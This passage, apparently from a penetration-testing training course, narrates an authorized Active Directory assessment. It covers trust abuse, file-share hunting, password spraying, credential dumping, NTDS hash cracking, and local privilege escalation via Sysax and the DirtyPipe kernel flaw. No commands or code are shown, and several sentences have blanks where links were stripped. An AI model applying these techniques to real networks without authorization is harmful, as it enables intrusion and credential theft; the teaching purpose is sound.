If there are any domain trusts we could use our skills to enumerate these relationships and exploit either a child --> parent trust relationship, intra-forest trust, or an external forest trust. Before doing so, we should check with the client to make sure the target domain is in scope for testing. Sometimes we'll compromise a less import domain and be able to use this access to fully take over the principal domain. This can provide a lot of value to the client as they may have set up trust relationships hastily as the result of a merger & acquisition or connecting to some other organization. Their domain may be well-hardened, but what if we are able to Kerberoast across a forest trust, compromise a partner forest, and then find an account in the partner forest that has full admin rights in our current domain. In this situation we could demonstrate to our client that the main weakness isn't in the domain we are testing in but another so they can proceed accordingly.

Closing Thoughts

This section showed a sampling of the things we can do AFTER achieving Domain Admin in a client environment. Showing up, pwning the client and showing off how fast you got DA does no good for the client and does not help you and your firm retain clients and spread a solid reputation around. What we do after achieving Domain Admin is extremely important and this is where we can set ourselves apart from other testers who just run Responder, a few other tools and scripts, a Nessus scan, and issue a stock report and call it a day. Your report deliverable should demonstrate the worth of the penetration test your client is paying for and we can make sure they are happy and come back in the following years if we go above and beyond. This is not always possible due to contract restrictions and time-boxed assessments, but even if we can provide a little extra we're ahead of the pack. Keep in mind that the things we identify in our report can impact a client's funding for the following year and that funding likely includes penetration tests. We don't want to inflate the report with nonsensical findings, of course, but we can often identify many things that our client had never even considered and they and you will be better for it.

We can use to change the ssmalls user's password. Let's RDP to the target after checking to ensure the port is open. RDP will make it easier for us to interact with the domain via a PowerShell console, though we could still do this via our reverse shell access.

Digging around the host and AD some more, we don't see much of anything useful. BloodHound does not show anything interesting for the ssmalls user. Turning back to the Penetration Tester Path content, we remember that both the and the sections covered hunting file shares with Snaffler and CrackMapExec respectively. There have been many times on penetration tests where I have had to turn to digging through file shares to find a piece of information, such as a password for a service account or similar. I have often been able to access departmental shares (such as IT) with low privileged credentials due to weak NTFS permissions. Sometimes I can even access shares for some or all users in the target company due to the same issue. Frequently users are unaware that their home drive is a mapped network share and not a local folder on their computer, so they may save all sorts of sensitive data there. File share permissions are very difficult to maintain, especially in large organizations. I have found myself digging through file shares often during penetration tests when I am stuck. I can think of one specific pentest where I had user credentials but was otherwise stuck for a few days and resorted to digging through shares. After a while, I found a web.config file that contained valid credentials for an MSSQL service account. This gave me local admin rights on a SQL server where a Domain Admin was logged in, and it was game over. Other times I have found files containing passwords on user drives that have helped me move forward. Depending on the organization and how their file permissions are set up, there can be a lot to wade through and tons of "noise." A tool like Snaffler can help us navigate that and focus on the most important files and scripts. Let's try that here.

First, let's run from our RDP session as the hporter user.

This doesn't turn up anything interesting, so let's re-run our share enumeration as the ssmalls user. Users can often have different permissions, so share enumeration should be considered an iterative process. To avoid having to RDP again, we can use the CrackMapExec module to dig around.

Another lateral movement technique worth exploring is Password Spraying. We can use or the Windows version of Kerbrute from the DEV01 host or use Kerbrute from our attack host via Proxychains (all worth playing around with).

At this point, we could use this evil-winrm shell to further enumerate the domain with a tool such as PowerView. Keep in mind that we'll need to use a PSCredential object to perform enumeration from this shell due to the ( Active Directory Enumeration & Attacks). Practice this technique and see what other AD enumeration tools you may be able to use in this way.

This isn't a domain user, but it's interesting that this user has Remote Desktop access but is not a member of the local admins group. Let's RDP in and see what we can do. After RDPing in and performing additional enumeration, we find some non-standard software installed in the C:\Program Files (x86)\SysaxAutomation directory. A quick search yields local privilege escalation exploit. According to the write-up, this Sysax Scheduled Service runs as the local SYSTEM account and allows users to create and run backup jobs. If the option to run as a user is removed, it will default to running the task as the SYSTEM account. Let's test it out!

Before we move on, let's check for any other credentials. We see Firefox installed, so we can grab the to try to dump any credentials saved in the browser. No luck, but always worth a check.

It's also worth running once we have local admin on a host to see if we can obtain password hashes for any users.

After we have dumped the NTDS database we can perform offline password cracking with Hashcat. Once we've exhausted all possible rules and wordlists on our cracking rig we should use a tool such as to perform a domain password analysis. This can nicely compliment findings such as Weak Active Directory Passwords Allowed, which we noted down after a successful password spraying attack earlier. This analysis can help drive the point home and can be a power visual. Our analysis can be included in the appendices of the report with metrics such as:

As discussed in the Active Directory Enumeration & Attacks module, we can provide extra value to our clients by digging deeper into Active Directory and finding best practice recommendations and delivering them in the appendices of our report. The tool is excellent for auditing the overall security posture of the domain and we can pull many different items from the report it generates to give our client recommendations on additional ways they can harden their AD environment. This type of "above and beyond the call of duty" work can build good will with our customers and lead to both repeat business and referrals. Its a great way to set ourselves apart and demonstrate the risks that plague AD environments and show our deep understanding of the client's network.

As a final step we'll enumerate the target system, checking for local privilege escalation opportunities. If we can get root-level access we'll have fulfilled the client's main goal, as they stated that this server holds their "crown jewels", or most important data. During our enumeration we do a Google search based off of the Kernel version and see that it's likely vulnerable to the , CVE-2022-0847. We can read an excellent explanation of this vulnerability on the .

We'll use exploit-2 from . Since we have SSH access to the system, we can create a file with Vim and paste the exploit code in. We then must compile it, and luckily gcc is present on the system.

PowerView
Credentialed Enumeration from Windows
Credentialed Enumeration from Linux
Snaffler
spider_plus
DomainPasswordSpray.ps1
Kerberos "Double Hop" problem
this
LaZagne tool
Inveigh
DPAT
PingCastle
DirtyPipe
Hack The Box blog
this GitHub repo
SharpHound